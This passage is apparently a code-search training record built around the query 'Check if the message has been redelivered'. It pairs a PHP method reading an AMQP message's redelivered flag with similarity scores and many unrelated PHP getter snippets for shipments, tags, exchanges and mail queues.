$this->params[\"original\"][\"delivery_channel\"];\n }", "public function _getShipmentCode() {\n\t\treturn $this->_shipmentCode;\n\t}", "public function getDeliveryLocation()\n {\n return $this->deliveryLocation;\n }", "public function getDeliveryTypeCode()\n {\n return $this->deliveryTypeCode;\n }", "public function getOrderDelivery()\n {\n return $this->hasOne(Delivery::class, ['id' => 'order_delivery_id']);\n }", "public function get_tag()\n {\n }", "public function getTag();", "public function getTag();", "function getTagId()\n {\n return $this->tagId;\n }", "public function getEmailShippingLabelDetail()\n {\n return isset($this->emailShippingLabelDetail) ? $this->emailShippingLabelDetail : null;\n }", "public function getShipment()\n {\n /** @var $shipping \\Magento\\Rma\\Model\\Shipping */\n $shipping = $this->_shippingFactory->create();\n return $shipping->getShippingLabelByRma($this->getRma());\n }", "protected function get_tag() {\n\t\treturn self::TAG;\n\t}", "public function getTag(): string;", "public function getDeliveryDateTime() {\n return $this->params[\"original\"][\"delivery_datetime\"];\n }", "public function getPriceOverrideDelivery()\n {\n $value = $this->scopeConfig->getValue(self::XML_PATH_PRICE_OVERRIDE_DELIVERY, ScopeInterface::SCOPE_WEBSITES);\n if (!strlen($value)) {\n return null;\n }\n\n return $this->localeFormat->getNumber($value);\n }", "public function getTag()\n {\n return $this->name;\n }", "public function getNotificationUUID(): string\n {\n return $this->rawData['notificationUUID'];\n }", "public function getTagId()\n {\n return $this->tagId;\n }", "public function getGcTagId()\n {\n return $this->gc_tag_id;\n }", "private function getDeliverySession() {\n\t\t$userId = $this->getPresenter()->getUser()->getId();\n\t\treturn $this->getPresenter()->getSession(self::DELIVERY_SESSION_NAME . $userId);\n\t}", "public function getTagId(){\n return $this->tagId;\n }", "public function getTagId() {\n\t\treturn $this->tagId;\n\t}", "public function getMachineTag()\n {\n return $this->getAdapter()->getMachineTag();\n }", "public function getFixedTimeDelivery() {\n return $this->_fixedTimeDelivery;\n }", "public function getTag()\n {\n }", "private function retrieve_tag() {\n\t\t$replacement = null;\n\n\t\tif ( isset( $this->args->ID ) ) {\n\t\t\t$tags = $this->get_terms( $this->args->ID, 'post_tag' );\n\t\t\tif ( $tags !== '' ) {\n\t\t\t\t$replacement = $tags;\n\t\t\t}\n\t\t}\n\n\t\treturn $replacement;\n\t}", "public function getPurgeId() {\n return $this->purgeId;\n }", "public function getFirmDelivery()\n {\n return $this->firmDelivery;\n }", "public function getShipment()\n {\n return isset($this->shipment) ? $this->shipment : null;\n }", "public function getDeliveryMode()\n {\n }", "function getpurchaseuuid()\n {\n return $this->purchase_uuid;\n }", "public function getTag()\n\t{\n\t\tif(isset($this->primarySearchData[$this->ref_tag]))\n\t\t{\n\t\t\treturn $this->primarySearchData[$this->ref_tag];\n\t\t}else\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t}", "public function getShipmentLabel(): ?string;", "public function getShippedValue()\n {\n return defined('static::SHIPPED_VALUE') ? static::SHIPPED_VALUE : 'shipped';\n }", "public function getLatestDeliveryTime()\n {\n return $this->latestDeliveryTime;\n }", "function getTag($tag)\n {\n //print \"getting tag\\n\";\n return $this->_tagDTD->toTagStr($tag);\n }", "public function getTaggableId()\n {\n return $this->getId();\n }", "public function getDeliveryMode();", "public function getAvailableDeliveryMethod() {\n\t\treturn $this->availableDeliveryMethod;\n\t}", "public function getIteneraryTagID()\n {\n return $this->IteneraryTagID;\n }", "public function _getShipmentId() {\n\t\treturn $this->_shipmentId;\n\t}", "public function getLatestDeliveryDate()\n {\n return $this->latestDeliveryDate;\n }", "public function getShipmentId()\n {\n return $this->_fields['ShipmentId']['FieldValue'];\n }", "public function getUlDsigTag()\n {\n return $this->ulDsigTag;\n }", "public function getShipment()\n {\n if (!$this->_shipment) {\n $this->_shipment = Mage::registry('temando_shipment_data');\n }\n return $this->_shipment;\n }", "public function getDeliveryMode() {\n return $this->delivery_mode;\n }", "public function getPurchaseOrder(): ?string\n {\n return $this->purchaseOrder;\n }", "protected function get__badge()\n\t{\n\t\tif ( $this->deleteOrMoveQueued() === TRUE )\n\t\t{\n\t\t\treturn array(\n\t\t\t\t0\t=> 'ipsBadge ipsBadge_intermediary',\n\t\t\t\t1\t=> 'node_move_delete_queued',\n\t\t\t);\n\t\t}\n\t\t\n\t\treturn NULL;\n\t}", "public function getCurrentVersionTag()\n {\n $version = $this->getVersionJsn();\n return $version['tag'];\n }", "public function getShippingId() \n {\n if (!$this->hasShippingId())\n {\n $this->shippingId = '';\n }\n\n return $this->shippingId;\n }", "public function getSellerShipping() {\r\n return Mage::getResourceModel ( 'eav/entity_attribute' )->getIdByCode ( 'catalog_product', 'seller_shipping_option' );\r\n }", "public function getConsumerTag()\n {\n return $this->consumerTag;\n }", "public function routingKey()\n {\n return $this->message->delivery_info['routing_key'];\n }", "public function getTag(): string|null;", "protected function getShippingDelivery(OrderInterface $order)\n {\n $method = $order->getShippingMethod();\n if ('novapay_novapay' != $method) {\n return null;\n }\n if (!class_exists(DeliveryConfig::class)) {\n return null;\n }\n\n // wrong way of using factory, just because of dependency on another module\n $config = new DeliveryConfig($this->scopeConfig, $this->getObjectManager());\n $ship = $config->getDeliveryForOrder($order);\n return $ship->delivery;\n }", "public function getDeliveryDeadline() {\n return $this->_deliveryDeadline;\n }", "public function getTransportationCode()\n {\n return $this->transportationCode;\n }" ]
[ "0.8897728", "0.88609004", "0.8854708", "0.6905496", "0.6731455", "0.6731455", "0.6656073", "0.6496973", "0.64398384", "0.6306817", "0.6270326", "0.61607105", "0.6124498", "0.61119235", "0.6104172", "0.60857123", "0.6071821", "0.6039228", "0.6020675", "0.5988544", "0.5918867", "0.5918867", "0.5918867", "0.5911514", "0.5907832", "0.590547", "0.58789545", "0.58652025", "0.58652025", "0.58327603", "0.58289725", "0.5824616", "0.5820895", "0.5785128", "0.5785128", "0.57775384", "0.5703926", "0.5703926", "0.5703926", "0.5703926", "0.5703926", "0.56507987", "0.56307167", "0.5590017", "0.5581551", "0.5574851", "0.5566019", "0.55176616", "0.5507932", "0.5502541", "0.5502541", "0.54989773", "0.54952466", "0.549057", "0.5471378", "0.5450839", "0.54162925", "0.5408026", "0.54024535", "0.54000306", "0.5393354", "0.53764683", "0.53760296", "0.53750545", "0.5366234", "0.5364409", "0.5355366", "0.53502494", "0.53361565", "0.5320333", "0.53129673", "0.53117037", "0.53076166", "0.53016406", "0.5297298", "0.52936274", "0.5282756", "0.527773", "0.5273065", "0.5270979", "0.52677613", "0.52673966", "0.52582264", "0.52554095", "0.52480936", "0.5232188", "0.52136815", "0.520309", "0.519401", "0.51910925", "0.51850045", "0.5152132", "0.51478446", "0.5145933", "0.5143545", "0.51277536", "0.5116198", "0.5109418", "0.5091485", "0.5090684" ]
0.8560831
3
Check if the message has been redelivered.
public function isRedelivered() { return (bool) $this->message->delivery_info['redelivered']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function isRedelivered();", "public function isRedeliver()\n {\n return $this->redeliver;\n }", "public function isRedelivery();", "public function isRedelivery() {\n return $this->is_redelivery;\n }", "public function isDelivered() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->deliveryDate) ? false: true;\r\n\t}", "function isRedeemed() {\n // we get if it wasn't used yet\n return $this->getUsed_at() != '';\n }", "public function needsRetransmission(): bool\n {\n return $this->needsRetransmission;\n }", "public function hasDraftIsRecycled()\n {\n return $this->DraftIsRecycled !== null;\n }", "public function isRefunded()\n {\n return $this->getStatus() === OpenNode_Bitcoin_Model_Bitcoin::OPENNODE_STATUS_REFUNDED;\n }", "public function isReceiving()\n {\n return ( $this->_stateManager->getState() === self::STATE_RECEIVING );\n }", "public function isSent() : bool {\n $status = $this->delivery_status;\n return\n $status === WebhookEvent::EVENT_SENT ||\n $status === WebhookEvent::EVENT_OPEN ||\n $status === WebhookEvent::EVENT_CLICK ||\n $status === WebhookEvent::EVENT_UNSUB ||\n $status === WebhookEvent::EVENT_SPAM;\n }", "public function isSent() {\n\treturn $this->status != self::$WAITING;\n }", "public function isRefunded()\n {\n $result = false;\n\n if ($this->getBackendTransactions()) {\n foreach ($this->getBackendTransactions() as $transaction) {\n if (\n $transaction->isRefund()\n && $transaction->isSucceed()\n ) {\n $result = true;\n break;\n }\n }\n }\n\n return $result;\n }", "public function isReported()\n\t{\n\t\treturn ($this->get('state') == static::ANSWERS_STATE_REPORTED);\n\t}", "public function hasReceivedMoved()\n {\n return (\n $this->_movedSignal instanceof Streamwide_Engine_Signal\n && $this->_movedSignal->getName() === Streamwide_Engine_Signal::MOVED\n );\n }", "public function isRedeemed()\n\t{\n\t\tif (!$this->exists())\n\t\t{\n\t\t\treturn false;\n\t\t}\n\t\tif ($this->get('redeemed_by'))\n\t\t{\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "public function acknowledge(): bool\n\t{\n\t\t$this->acknowledged_at = Carbon::now();\n\n\t\treturn $this->save();\n\t}", "public function is_bounce_message()\n\t{\n\t\t// check Return-Path header line\n\t\t// for \"no return path\" indicator <>\n\t\t// but, Return-Path is changed\n\t\t// if message is Redirected... hmmmn\n\t\t// also should check the Delivery-Status part\n\t\t// if there is one to determine if it is a bounce\n\t\t$rp = $this->preg_match_header_array_key(array('Return-Path','<>'));\n\t\t//pe($this->header_string);\n\t\t// order subject matches in order of likelihood\n\t\t$subject_patterns = array('/Returned mail:/i');\n\t\tforeach ($subject_patterns as $p)\n\t\t{\n\t\t\t// return on the first match\n\t\t\tif ($this->preg_match_subject($p))\n\t\t\t{\n\t\t\t\treturn TRUE;\n\t\t\t}\n\t\t}\n\t\treturn FALSE;\n\t}", "public static function OrderProcessHasBeenMarkedAsCompleted()\n {\n return array_key_exists(self::SESSION_KEY_NAME_ORDER_SUCCESS, $_SESSION) && true == $_SESSION[self::SESSION_KEY_NAME_ORDER_SUCCESS];\n }", "public function hasMsg(){\n return $this->_has(18);\n }", "public function hasBeenSent()\n {\n return $this->status === 'sent';\n }", "public function hasMessage()\n {\n return $this->message !== null;\n }", "public function isRefunded()\n {\n return $this->getRefundedAmount()->isPositive();\n }", "public function isSent(): bool\n {\n return $this->status === static::STATUS_QUEUED || $this->status === static::STATUS_COMPLETE;\n }", "public function isDispatched() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->dispatchDate) ? false: true;\r\n\t}", "public function isBounced()\n {\n return $this->getBounceTime() > 0;\n }", "public function expungeMailbox(): bool\n\t{\n\t\treturn $this->command(ExpungeCommand::class)->isOk();\n\t}", "public function isSent() {}", "public function isPended() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->pendingDate) ? false: true;\r\n\t}", "protected function isMessagePrepared() {\n\t\treturn !empty($this->mailMessage);\n\t}", "public function FlushMsg()\n {\n $entry = array_shift ($this->messages);\n if ($entry === null)\n {\n return (false);\n }\n if ( $entry[\"MSG_FORCE\"] )\n { // Message was requested to be forced regardless of thresholds\n $this->TypeSpecificOutputMsg($entry);\n return (true);\n }\n if ( $this->in_error_condition )\n {\n $threshold = $this->error_condition_thresh;\n }\n else\n {\n $threshold = $this->thresh;\n }\n if ( $entry[\"MSG_SEVERITY\"] <= $threshold )\n {\n $this->TypeSpecificOutputMsg($entry);\n return (true);\n }\n // Message did not meet any output criteria - but we did get a message off the queue so return true\n return (true);\n }", "public function isMessage(): bool\n {\n return $this->code >= CODE_CONTINUE &&\n $this->code < CODE_OK;\n }", "public function hasMessage()\n {\n return $this->hasMessage;\n }", "private function redeliverMessages(): void\n {\n if (! isset($this->redeliverMessagesLastExecutedAt)) {\n $this->redeliverMessagesLastExecutedAt = microtime(true);\n } elseif (microtime(true) - $this->redeliverMessagesLastExecutedAt < 1) {\n return;\n }\n\n $this->connection->createQueryBuilder()\n ->update($this->tableName)\n ->set('delivery_id', ':deliveryId')\n ->andWhere('redeliver_after < :now')\n ->andWhere('delivery_id IS NOT NULL')\n ->setParameter('now', new DateTimeImmutable(), Types::DATETIMETZ_IMMUTABLE)\n ->setParameter('deliveryId', null)\n ->executeStatement();\n\n $this->redeliverMessagesLastExecutedAt = microtime(true);\n }", "public function isNotReceived()\n\t{\n\t\tif($this->test_status_id == Test::NOT_RECEIVED)\n\t\t\treturn true;\n\t\telse \n\t\t\treturn false;\n\t}", "public function was_successful() {\n return (bool) ( $this->mail_response );\n }", "public function isDeliverable()\n {\n $deliverable = false;\n\n foreach ($this->getItems() as $item) {\n if ($item->Deliverable) {\n $deliverable = true;\n }\n }\n\n return $deliverable;\n }", "public function shouldRefund()\n {\n $paidMoney = $this -> countPaidMoney();\n $consumedMoney = $this -> countConsumedMoney();\n \n return $consumedMoney < $paidMoney;\n }", "private function checkIfTimeLeft()\r\n {\r\n if($this->expireDateTime < strtotime(\"now\"))\r\n {\r\n generic::successEncDisplay(\"Emails have been sent out, however, there are a number of emails to be sent, and the server run out of time.\");\r\n return false;\r\n }\r\n\r\n return true;\r\n }", "public function isReady()\n {\n return $this->status === 'message_ok';\n }", "public function harSending() {\n try {\n $this->getSending();\n return true;\n } catch( Exception $e ) {\n if( $e->getCode() == 144001 ) {\n return false;\n }\n throw $e;\n }\n }", "public function hasRebuilt() {\n return $this->rebuilt;\n }", "public function isFinishSend(): bool;", "public function is_order_refunded( $order ) {\n\n\t\tif ( is_numeric( $order ) ) {\n\t\t\t$order = wc_get_order( $order );\n\t\t}\n\n\t\treturn ( $this->order_has_status( $order, 'refunded' ) );\n\t}", "public function getHasBeenRejectedBefore(): bool;", "public function everSubscribed()\n {\n return !empty($this->billing_subscription);\n }", "private function isThereWorkToBeDone()\r\n {\r\n if($this->dbCon->count($this->dbTableName, [\"isDelivered\" => 0]) < 1)\r\n {\r\n generic::successEncDisplay(\"There is no email for posting\");\r\n\r\n // add the return to follow the PHP principles and manual, however, it will terminate from the above!\r\n return false;\r\n }\r\n\r\n return true;\r\n }", "function backorders_require_notification() {\n\t\tif ($this->data['backorders']=='notify') return true;\n\t\treturn false;\n\t}", "public function hasPendingActions()\r\n {\r\n }", "function it_exchange_authorizenet_transaction_is_cleared_for_delivery( $cleared, $transaction ) {\n\t$valid_stati = array( 1 );\n\treturn in_array( it_exchange_get_transaction_status( $transaction ), $valid_stati );\n}", "public function is_email_sent() {\n\n\t\t$is_sent = false;\n\n\t\tif ( method_exists( $this->response, 'getId' ) ) {\n\t\t\t$message_id = $this->response->getId();\n\t\t\tif ( ! empty( $message_id ) ) {\n\t\t\t\t$is_sent = true;\n\t\t\t}\n\t\t}\n\n\t\t// Clear debug messages if email is successfully sent.\n\t\tif ( $is_sent ) {\n\t\t\tDebug::clear();\n\t\t}\n\n\t\treturn $is_sent;\n\t}", "public function delete_received_message() {\n\n $this->db->query(\"DELETE FROM message_recipient WHERE message_id = ?\", array(\n $this->id\n ));\n\n return ($this->db->error()) ? false : true;\n }", "public function hasMessageId(){\n return $this->_has(3);\n }", "public function getStillWanted() {\n $wanted = Event::fireReturn($this->getEventID(), $this->type, $this->filter, 'ping');\n if ($wanted || count($wanted)) {\n return true;\n }\n return false;\n }", "function isProcessed($txn_id, $merchant_reference) {\n $check_email_status = $this->payment_model->check_email_order_status($merchant_reference);\n\n if ($check_email_status) {\n return false;\n } else {\n return true;\n }\n }", "public function isRejected() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn InputValidator::isEmpty($this->rejectionDate) ? false: true;\r\n\t}", "public function delete_sended_message() {\n // First we delete the message from recipient table\n $this->delete_received_message();\n // Then we detach or actually delete the whole message from message table\n $this->db->query(\"DELETE FROM `message` WHERE id = ?\", array(\n $this->id\n ));\n\n return ($this->db->error()) ? false : true;\n }", "public function isMissed(): bool\n {\n return $this->status == 'missed';\n }", "protected function acked($response)\n {\n return is_array($response) && array_get($response, 'acknowledged', false);\n }", "function on_backorder() {\n\t\treturn ($this->_item_availability->available_to_promise <= $this->backorder_quantity);\n\t}", "protected function hasCustomerMessage()\n {\n return $this->SendInvoiceToCustomer;\n }", "public function isSeen()\n {\n return\n $this->hasFlag(Zend\\Mail\\Storage::FLAG_SEEN)\n || $this->hasFlag(Zend\\Mail\\Storage::FLAG_DELETED)\n || $this->hasFlag(Zend\\Mail\\Storage::FLAG_ANSWERED);\n }", "public function hasMessageId()\n {\n return $this->MessageId !== null;\n }", "public function isSent()\n {\n return $this->isInStatus($this::SENT);\n }", "public function isPending(): bool;", "public function subscriptionConfirmed()\n {\n return $this->status == 'CONFIRMED' ? true : false;\n }", "public function hasRetriesRemaining(): bool\n {\n return $this->attempts === $this->total;\n }", "public function hasRecruitment() {\n return $this->_has(4);\n }", "public function isPending()\n {\n return true;\n }", "public static function shouldReceive()\n {\n }", "public static function shouldReceive()\n {\n }", "public static function shouldReceive()\n {\n }", "public static function shouldReceive()\n {\n }", "public function isNotSent()\n {\n return ! $this->isSent();\n }", "public function hasMessages()\r\n {\n return $this->fm->hasMessages();\n }", "public function isDeactivatedSometime()\n {\n $invoker = $this->getInvoker();\n \n return $invoker->{$this->_options['from']['name']} !== null \n || $invoker->{$this->_options['until']['name']} !== null;\n }", "public function is_partial_capture( $notification ) {\n\t\treturn 0 < $notification->data->object->amount_refunded;\n\t}", "public function isBounceMessage()\n {\n $email = $this->getSender();\n\n return substr($email, 0, 14) == 'mailer-daemon@';\n }", "protected function needSendRecalculateEvent(\\XLite\\Model\\Order $order)\n {\n return true;\n }", "private function finish() {\n\t\t$res = true;\n\t\twhile($res = $this->transitions->pop()) \n\t\t\t$res->queued();\n\t\twhile($res = $this->dismissedTrans->pop()) \n\t\t\tif($res->getStatus() == 'queued') {\n\t\t\t\t$res->prefered();\n\t\t\t\t$res = false;\n\t\t\t}\n\t\t\n\t\treturn $res;\n\t}", "public function isPending()\n {\n if ($this->status == 0) {\n return true;\n } else {\n return false;\n }\n }", "public function isPending() : bool\n {\n return $this->getOrderStatus() == self::PENDING;\n }", "public function hasMessage(): bool\n {\n return $this->hasJson('message');\n }", "public function isSubscribed()\n {\n return null !== $this->queue;\n }", "public function isReadyForIssuing()\n {\n return $this->isFeePaid();\n }", "public function hasANotificationBeenRecentlySent($userId)\n {\n $expiresIn = Carbon::now()\n ->addMinutes(10);\n\n return !Cache::add('users:notifications:just:' . $userId, 1, $expiresIn);\n }", "public function process()\n\t{\n\n\t\tif(is_null($this->mailqueue_model)) {\n\t\t\tLog::info($this->header_vars . ' did not find mailqueue model');\n\t\t\treturn 'Mailqueue Model not found in Database';\n\t\t}\n\n\t\ttry {\n\t\tswitch ($this->action) {\n\t\t\tcase 'delivered':\n\t\t\t\t$this->mailqueue_model->hasBeenDelivered();\n\n\t\t\t\tbreak;\n\t\t\tcase 'opened':\n\n\t\t\t\t$this->mailqueue_model->hasBeenOpened();\n\n\t\t\t\tbreak;\n\n\t\t\tcase 'complained':\n\t\t\t\t$this->mailqueue_model->complained();\n\t\t\t\tbreak;\n\n\t\t\tcase 'clicked':\n\t\t\t\t$this->mailqueue_model->clickedLink();\n\t\t\t\tbreak;\n\t\t\tcase 'bounced';\n\t\t\t\t$this->mailqueue_model->hardBounce();\n\n\t\t\tcase 'dropped';\n\t\t\t\tLog::info('dropped event');\n\t\t\t\t$this->mailqueue_model->dropped();\n\t\t\tdefault:\n\t\t\t\t# code...\n\t\t\t\tbreak;\n\t\t}\n\n\t\t\treturn true;\n\t\t} catch (\\Exception $e) {\n\t\t\tLog::error($e->getMessage() . ' ' . $e->getLine() . ' ' . $e->getFile());\n\t\t\treturn false;\n \t}\n\t}", "public function isStillPending()\n {\n //\n return $this->result == self::RESULT_STILL_PENDING;\n }", "public function isMessage()\n {\n return !empty(self::$message);\n }", "public function isValidForDelivery();", "public function isOpened() : bool {\n $status = $this->delivery_status;\n return\n $status === WebhookEvent::EVENT_OPEN ||\n $status === WebhookEvent::EVENT_CLICK ||\n $status === WebhookEvent::EVENT_UNSUB;\n }", "public function receive()\n {\n if ( $this->isReceiving() ) {\n $this->dispatchErrorEvent( self::ALREADY_RECEIVING_ERR_CODE );\n return false;\n }\n \n $this->_initFaxEnvDetection();\n if ( $this->_options[self::OPT_DETECT_FAX_TONE] ) {\n $this->_initFaxToneDetection();\n } else {\n $this->_waitAudioReinvite();\n }\n \n $this->_stateManager->setState( self::STATE_RECEIVING );\n $this->dispatchEvent( new Streamwide_Engine_Events_Event( Streamwide_Engine_Events_Event::FAX_RECEIVING_REQUESTED ) );\n return true;\n }", "public function isAwaitingConfirmation() {\n if(isset($this->data['charge']))\n return $this->data['charge']['status'] === 'successful' ? false : true;\n else\n return true;\n }", "public static function isRepairAwaiting($repair)\n {\n\n if ( count($repair->trackings) && $repair->trackings->last()->status == 1 )\n {\n return true;\n } else {\n return false;\n }\n\n }", "public function isReply() {\n\t\treturn Utils::startsWith($this -> getSubject(), \"RE:\");\n\t}", "public function isSubscribedInviteReminder(){\n\n\t\t// check if the object has been hydrated\n\t\tif(null === $this->id){\n\t\t\t$this->load();\n\t\t}\n\n\t\t// this method only available for email obj w/template = 'inviteReminder'\n\t\tif('inviteReminder' !== $this->template) {\n\t\t\treturn false;\n\t\t}\n\n\t\t// look for the corresponding \"unsubscribe\" email record for this gift/email. If it exists, they have unsubscribed\n\t\t$sql = \"\n\t\t\tSELECT \t`id`\n\t\t\tFROM \t`emails`\n\t\t\tWHERE \t`emailDigest` = '$this->emailDigest'\n\t\t\tAND \t`giftId` = $this->giftId\n\t\t\tAND \t`template` = 'inviteReminderUnsubscribe'\n\t\t\";\n\n\t\t$result = db::query($sql);\n\t\t$recordCount = mysql_num_rows($result);\n\t\treturn (0 === $recordCount);\n\n\t}", "public function isRecurringEvent()\n {\n return $this->getRecurringEvent();\n }", "public function isCompleted() : bool\n {\n return in_array($this->getOrderStatus(), [self::AUTHORISED, self::COMPLETED]);\n }", "function is_renew_order_paid($original_order_id) {\n\t$sql = \"SELECT * from orders WHERE original_order_id='$original_order_id' AND status='renew_paid' \";\n\t$result = mysql_query ($sql) or die(mysql_error());\n\tif (mysql_num_rows($result)>0) {\n\t\treturn true;\n\t} else {\n\t\treturn false;\n\t}\n\n}", "public function isRejected(): bool {\n return $this->_state === self::STATE_REJECTED;\n }" ]
[ "0.874068", "0.78589094", "0.7624209", "0.7534312", "0.6976576", "0.6726834", "0.6583575", "0.6396184", "0.6395454", "0.62583643", "0.6206503", "0.61942255", "0.61786103", "0.6145692", "0.6102793", "0.6100283", "0.6067455", "0.60547996", "0.6051641", "0.6028749", "0.60046965", "0.597225", "0.59614015", "0.5948864", "0.592001", "0.59176725", "0.58736426", "0.587263", "0.5872358", "0.58710515", "0.58619624", "0.5846492", "0.5844512", "0.58198285", "0.58166254", "0.5804476", "0.580173", "0.5799524", "0.5797457", "0.57658833", "0.5733993", "0.5731425", "0.5728421", "0.57182", "0.5711731", "0.57101965", "0.57101095", "0.5701814", "0.56905335", "0.56774855", "0.5671856", "0.56692266", "0.5663975", "0.5663584", "0.5655011", "0.56314343", "0.5623522", "0.5617398", "0.56143445", "0.5613982", "0.5584476", "0.55679274", "0.5561995", "0.5561416", "0.55438805", "0.55372316", "0.5535316", "0.553519", "0.55266935", "0.5525479", "0.5525479", "0.5525479", "0.5525479", "0.55236214", "0.5519388", "0.55152684", "0.5497998", "0.5496765", "0.5494963", "0.54758143", "0.54696304", "0.5469453", "0.54642516", "0.5461921", "0.54565394", "0.5448792", "0.5434945", "0.54309684", "0.54287785", "0.54279137", "0.54225636", "0.54202616", "0.54196733", "0.541962", "0.5418957", "0.5410634", "0.5408497", "0.5400485", "0.5388629", "0.53829837" ]
0.8582851
1
Get the name of the exchange that the message was published to.
public function exchange() { return $this->message->delivery_info['exchange']; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getExchangeName() : string\n {\n return $this->exchangeName;\n }", "public function getExchangeName() {\n return $this->exchange_name;\n }", "public function getExchangeName();", "public function getExchange()\n {\n return $this->exchange;\n }", "public function getExchange()\n {\n return $this->exchange;\n }", "public function getPublisherName()\n {\n if (array_key_exists(\"publisherName\", $this->_propDict)) {\n return $this->_propDict[\"publisherName\"];\n } else {\n return null;\n }\n }", "public function name()\n {\n return 'mall.order.exchange';\n }", "public function getIdExchange()\n {\n return $this->id_exchange;\n }", "public function get_name() {\n return get_string('tasksendemail', 'message_email');\n }", "public function getQueueName();", "public function getName() {\n\t\treturn $this->selectedEndpoint['name'];\n\t}", "public function getAlternateExchange()\n {\n return isset($this->attributes['alternate-exchange']) ? $this->attributes['alternate-exchange'] : false;\n }", "public function getOrigBrokerName() {}", "private function getExposedName()\n {\n return $this->definition->getExposeAs() === null ?\n $this->getName() :\n $this->definition->getExposeAs();\n }", "public function getDeliveryName()\n {\n return $this->_deliveryName=='' ? $this->getBasename() : $this->_deliveryName;\n \n }", "public function getPublisherName(){\n\t\t//@TODO This doesnt work yet - fix it.\n\t\tReturn $this->ol[\"ISBN:\".$this->isbn][\"publishers\"][0][\"name\"];\t\n\t}", "function getDisplayName() {\n\t\treturn __('plugins.generic.announcementfeed.displayName');\n\t}", "public function getName(): string\n {\n return $this->fqsen->getName();\n }", "public function getName()\n {\n return $this->fqsen->getName();\n }", "public function getConsumerName()\n {\n return $this->queueName;\n }", "public function getName():string\n\t{\n\t\treturn $this->channelName;\n\t}", "public function getCollectionName()\n {\n return $this->collectionName;\n }", "public function getName()\n {\n return $this->eventName;\n }", "public function getName() {\n\t\treturn Language::_(\"Alipay.name\", true);\n\t}", "public function getWorkflowName();", "public function getEmailSenderName()\n {\n $from = $this->scopeConfig->getValue(\n self::XML_ADMIN_EMAIL_SENDER,\n ScopeInterface::SCOPE_STORE\n );\n $result = $this->helperData->getSenderResolver()->resolve($from);\n return $result['name'];\n }", "public function getName(): string {\n\t\treturn $this->l10nFactory->get($this->appName)->t('Nextcloud announcements');\n\t}", "public function get_name() {\n\n\t\treturn $this->post_type_name;\n\t}", "public function getName() {\n\t\treturn $this->archive->getNameIndex($this->index);\n\t}", "function getDisplayName() {\n\t\treturn __('plugins.generic.thesisfeed.displayName');\n\t}", "public function getName()\n {\n return isset($this->action['as']) ? $this->action['as'] : null;\n }", "public function getName(): string\n {\n return 'info.topic';\n }", "public function getQueueName()\n {\n return $this->queueName;\n }", "public function getTransportName()\n {\n if (in_array($this->getTransport(), array_keys(dcTransport::$transports)))\n {\n return dcTransport::$transports[$this->getTransport()];\n }\n\n return;\n }", "public function getName()\n {\n return $this->getLocales()[$this->getCurrent()]->name;\n }", "public function getSubjectName()\n {\n if (array_key_exists(\"subjectName\", $this->_propDict)) {\n return $this->_propDict[\"subjectName\"];\n } else {\n return null;\n }\n }", "public function getArticleName()\n {\n return $this->_articleName;\n }", "public function getName()\n {\n return $this->internalName;\n }", "public function getName()\n {\n return $this->getTranslation()->getName();\n }", "public function queueName()\n {\n if (!$this->tasksQueue) {\n $this->initializeTasksQueue();\n }\n \n return $this->tasksQueue->queueName();\n }", "function get_trigger_name() {\n\t\treturn Clean::string( $this->get_meta( 'trigger_name' ) );\n\t}", "public function getName ( ) {\n\n return $this->getStream()->getName();\n }", "public function getName()\n {\n return $this->getCurrentTranslation()->getName();\n }", "public function getName(): string {\n\t\treturn $this->l10nFactory->get('notifications')->t('Admin notifications');\n\t}", "public function name() { return $this->post->post_name; }", "protected function getQueueName()\n {\n // TODO: Implement getQueueName() method.\n }", "function getLocalizedName() {\n\t\treturn $this->getLocalizedData('name');\n\t}", "public function getPublisher()\n {\n if (array_key_exists(\"publisher\", $this->_propDict)) {\n return $this->_propDict[\"publisher\"];\n } else {\n return null;\n }\n }", "function\tgetFlowName() {\n\t\treturn $this->flowName ;\n\t}", "function getDisplayName() {\n\t\treturn __('plugins.generic.autoApprovePublicationFormats.name');\n\t}", "public function getWsName()\n {\n return $this->wsName;\n }", "public function getSubjectName()\n {\n $subjectName = $this->getCourse()->getName();\n if ($this->getSubject()) {\n $subjectName = $this->getSubject()->getName();\n }\n return $subjectName;\n }", "public function getIncomingMailServerDisplayName() {\n\t\treturn $this->ic_mail_server_displayname;\n\t}", "public static function adminChannelName()\n\t{\n\t\t$channel = static::adminChannel();\n\n\t\treturn $channel->name;\n\t}", "public function getSenderName()\n {\n return $this->get(self::_SENDER_NAME);\n }", "public function getDisplayName() {\n\t\treturn $this->addressBookInfo['{DAV:}displayname'];\n\t}", "public function getMailExchange(): ?string {\n $val = $this->getBackingStore()->get('mailExchange');\n if (is_null($val) || is_string($val)) {\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'mailExchange'\");\n }", "public function getName() {\n\t\treturn $this->email;\n\t}", "public function getEventName()\n {\n return $this->event->name;\n }", "public function name()\n {\n \treturn $this->article->name;\n }", "public function getName()\n {\n return $this->action['name'] ?? null;\n }", "abstract public function getQueueName();", "public function getStoreName()\n {\n return $this->_fields['StoreName']['FieldValue'];\n }", "public function getSchedulename()\n {\n return $this->name;\n }", "protected function getEmailNotificationsSubject()\n {\n $env = Str::upper(app()->environment());\n $name = $this->getName();\n\n return \"[{$env}] %level_name% in `{$name}` command\";\n }", "public function resolveDefaultConfigName(): string\n {\n $configKey = self::CONFIG_KEY;\n\n return $this->config->get(\"{$configKey}.defaultConnection\", 'rabbitmq');\n }", "public function getDisplayName()\n {\n return $this->getProperty(\"DisplayName\");\n }", "public function publish($exchangeName, Message $message);", "public function getName(): string\n {\n return 'mailingName';\n }", "public function getSubject()\n {\n return $this->EmailSubject ? $this->EmailSubject : $this->getCurrentPageTitle();\n }", "function getHostName() {\n\t\treturn $this->hostInfo[0]['dc'][0];\n\t}", "function getName() {\n\t\tswitch ($this->type) {\n\t\t\tcase PAYMENT_TYPE_PURCHASE_FILE:\n\t\t\t\tlist($fileId, $revision) = 